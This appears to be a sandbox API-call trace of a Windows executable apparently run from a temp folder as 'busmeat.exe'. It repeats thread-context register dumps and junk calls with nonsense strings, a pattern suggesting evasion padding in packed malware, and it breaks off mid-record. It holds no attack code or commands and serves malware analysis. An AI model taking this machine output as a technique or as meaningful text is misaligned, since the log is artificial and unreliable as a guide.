	[0066.189] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.189] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.190] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.190] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.190] GetConsoleCP () returned 0x0
	[0066.190] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.190] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.191] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.191] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.191] GetConsoleCP () returned 0x0
	[0066.191] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 